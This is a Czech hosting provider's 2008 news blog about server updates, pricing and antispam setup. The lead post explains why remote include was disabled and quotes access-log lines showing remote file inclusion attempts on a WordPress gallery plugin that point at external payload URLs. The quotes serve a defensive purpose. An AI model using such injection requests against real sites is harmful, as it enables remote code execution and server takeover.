Zakázali jsme u funkcí include a require načítání zdrojového kódu z cizích webserverů

Publikováno 8. 12. 2008 | Autor: admin

Z důvodu nárůstu útoků na webové aplikace jsme na všech serverech zakázali u funkce Include a Require načtení zdrojového souboru z cizího webové serveru, tj. přes http nebo ftp. Na funkce fopen() by tato změna neměla mít vliv. Pokud byste potřebovali nahrávat věci z cizího serveru, použijte buď již zmiňovanou funkci fopen() nebo file_get_contents().

Zákaz jsme provedli přes direktivu allow_url_include = Off.

A jak takový útok např. může vypadat? Ukázka z logu – komentář snad netřeba:

xxxx.cz 80.254.74.63 - - [08/Dec/2008:18:11:18 +0100] "GET /?myPath=http://www.freewebs.com/albalbo/xx.txt?? HTTP/1.1" 200 229 "-" "Mozilla/3.0 (compatible; Indy Library)"

xxxx.cz 80.254.74.63 – - [08/Dec/2008:18:11:14 +0100] „GET //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.freewebs.com/albalbo/xx.txt?? HTTP/1.1″ 200 229 „-“ „Mozilla/3.0 (compatible; Indy Library)“

xxxx.cz 80.254.74.63 – - [08/Dec/2008:18:14:33 +0100] „GET //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.freewebs.com/albalbo/xx.txt?? HTTP/1.1″ 200 229 „-“ „Mozilla/3.0 (compatible; Indy Library)“

xxxx.cz 76.162.254.213 – - [08/Dec/2008:18:58:40 +0100] „GET /wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://pastebin.linode.com/?dl=1581??? HTTP/1.1″ 200 227 „-“ „Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1″

Rubriky: Konfigurace a nastavení, Online Hosting, PHP | Štítky: , , | Napsat komentář

Magento – nejlepší open source eshop ve verzi 1.1.6

Publikováno 21. 9. 2008 | Autor: admin

Dne 17. září byla uvolněna nová verze nejlepšího Open Source eshopu Magento. Verze 1.1.6 opravuje chyby v řadě 1.1.x.

Další informace na blogu tvůrců Magenta.

Rubriky: Eshop | Štítky: , , | Napsat komentář

Zrychlili jsme vytváření domén III. řádu

Publikováno 18. 9. 2008 | Autor: admin

Dnes jsme předělali a zoptimalizovali část hostingového administračního centra a mnohonásobně tím zrychlili vytváření domén III. řádu i virt. adresářů. Zřizovat větší počet domén III. řádu je teď daleko snadnější a rychlejší.

Rubriky: Aktualizace, Online Hosting | Štítky: , | Napsat komentář

Přidali jsme podporu PDO mysql, PDO pgsql, PDO sqlite

Publikováno 22. 7. 2008 | Autor: admin

Na přání našich klientů jsme přidali do php podporu rozšíření PDO, které umožňuje jednotný přístup k různým databázím. Podpora PDO se u nás týká databází MySQL, PostgreSQL a SQLite.

Rubriky: Novinky, Online Hosting | Štítky: , , , , , , , | Napsat komentář

Mění se kód banky z 2400 na 5500

Publikováno 7. 7. 2008 | Autor: admin

Dne 7. července 2008 došlo ke sloučení Raiffeisenbank a eBanky. Od tohoto data zaniká bankovní kód 2400 a bude nadále používán jen 5500. Platby, které uskutečníte po 7. červenci zaslané na starý bankovní kód 2400, budou automaticky přeposlány na naše nové číslo účtu – 449119001/5500. Automatické přeposlání bude funkční pouze do konce roku 2008.

Rubriky: Nezařazené, Online Hosting | Štítky: , , | Napsat komentář

Snižujeme ceny za domény

Publikováno 11. 6. 2008 | Autor: admin

Snížili a sjednotili jsme ceny všech nabízených domén. Nyní pořídíte doménu .cz i .eu za 290 Kč na rok bez dph. Nové ceny se týkají jak nové registrace domény, tak i jejího dalšího prodloužení.

Rubriky: Domény, Online Hosting | Štítky: , , | Napsat komentář

Aktualizace na PHP 5.2.6

Publikováno 25. 5. 2008 | Autor: admin

Dne 25. května jsme provedli malou, byť velmi důležitou aktualizaci PHP z verze 5.2.5 na verzi 5.2.6.

Verze 5.2.6 opravuje některé zásadní chyby v PHP. Tou nejvýznamnější je oprava funkce MkDir, která se nechovala korektně pod operačním systémem FreeBSD, na kterém provozujeme tarif Online. Z tohoto důvodu nemusely správně pracovat některé moduly v Joomla! a pravděpodobně i v jiných systémech.

A jak se chyba projevovala ?

Pokud cesta v parametru funkce MkDir měla na konci lomítko, adresář se nevytvořil a php hlásilo chybu „Warning: mkdir(): Unable to access …“. Bez koncového lomítka MkDir proběhl úspěšně.

Pro názornost malý příklad:

mkdir(‘/home/nejakyweb.cz/html/obrazky/novyadresar/’); // neproběhlo
mkdir(‘/home/nejakyweb.cz/html/obrazky/novyadresar’); // proběhlo

Bug je popsán na stránkách bugs.php.net. Nejvtipnější na celé chybě je to, že měla být opravena již dávno v dřívějších verzích, ale nebyla.

Ještě poznamenejme, že aktualizace se týkala pouze serverů s tarifem Online. Starších tarifů Standard a Profi, které jedou pod operačním systémem Linux, se chyba netýkala.

Rubriky: Aktualizace, Online Hosting | Štítky: , | Napsat komentář

Aktualizujeme antispam, přidali jsme podporu filtrace DCC

Publikováno 22. 5. 2008 | Autor: admin

Na emailserveru jsme provedli aktualizaci antispamového filtru SpamAssassin na nejnovější verzi a zároveň jsme přidali filtraci emailů pomocí technologie DCC (Distributed Checksum Clearinghouse).

Co je DCC a jak funguje ?

Distributed Checksum Clearinghouse neboli DCC je distribuovaný systém za účelem detekce rozesílání velkého množství emailů (spamů).

Prakticky to funguje tak, že se z přijatého emailu vypočte kontrolní součet (checksum) a porovná se vzdálenou DCC databází. Pokud je ve vzdálené databázi zjištěno, že identický email byl rozesílán velkému množství příjemců, jedná se patrně o spam a emailserver odmítne takový email přijmout nebo ho rovnou skartuje.

Servery DCC shromažďují velké množství kontrolních součtů (checksum) vytvořených z emailů, neuchovávají obsah zpráv samotných. Tyto checksumy si vyměňují s dalšími DCC servery.

DCC klient pošle záznam s vypočítaným checksumem emailové zprávy nejbližšímu DCC serveru. Záznam obsahuje vedle checksumu také počet příjemců, kterým byla emailová zpráva zaslána.

Jak zprovoznit kontrolu DCC na svém serveru:

V Ubuntu a Debian jednoduše přes aptitude:

aptitude install dcc-common

V jiných distribucích podobně přes yum (Fedora), Suse (apt), FreeBSD (kompilace z portu /usr/ports/mail/dcc-dccd).

Dále je potřeba povolit DCC modul ve SpamAssassinu. V jednom z konfiguračních souborů SpamAssassinu s připonou .pre vyhledáme řádek s „#loadplugin Mail::SpamAssassin::Plugin::DCC“ a odkomentujeme.

Nakonec zkontrolujeme funkčnost pomocí příkazu

spamassassin -D –lint

Rubriky: Aktualizace, Online Hosting | Štítky: , , , | 1 komentář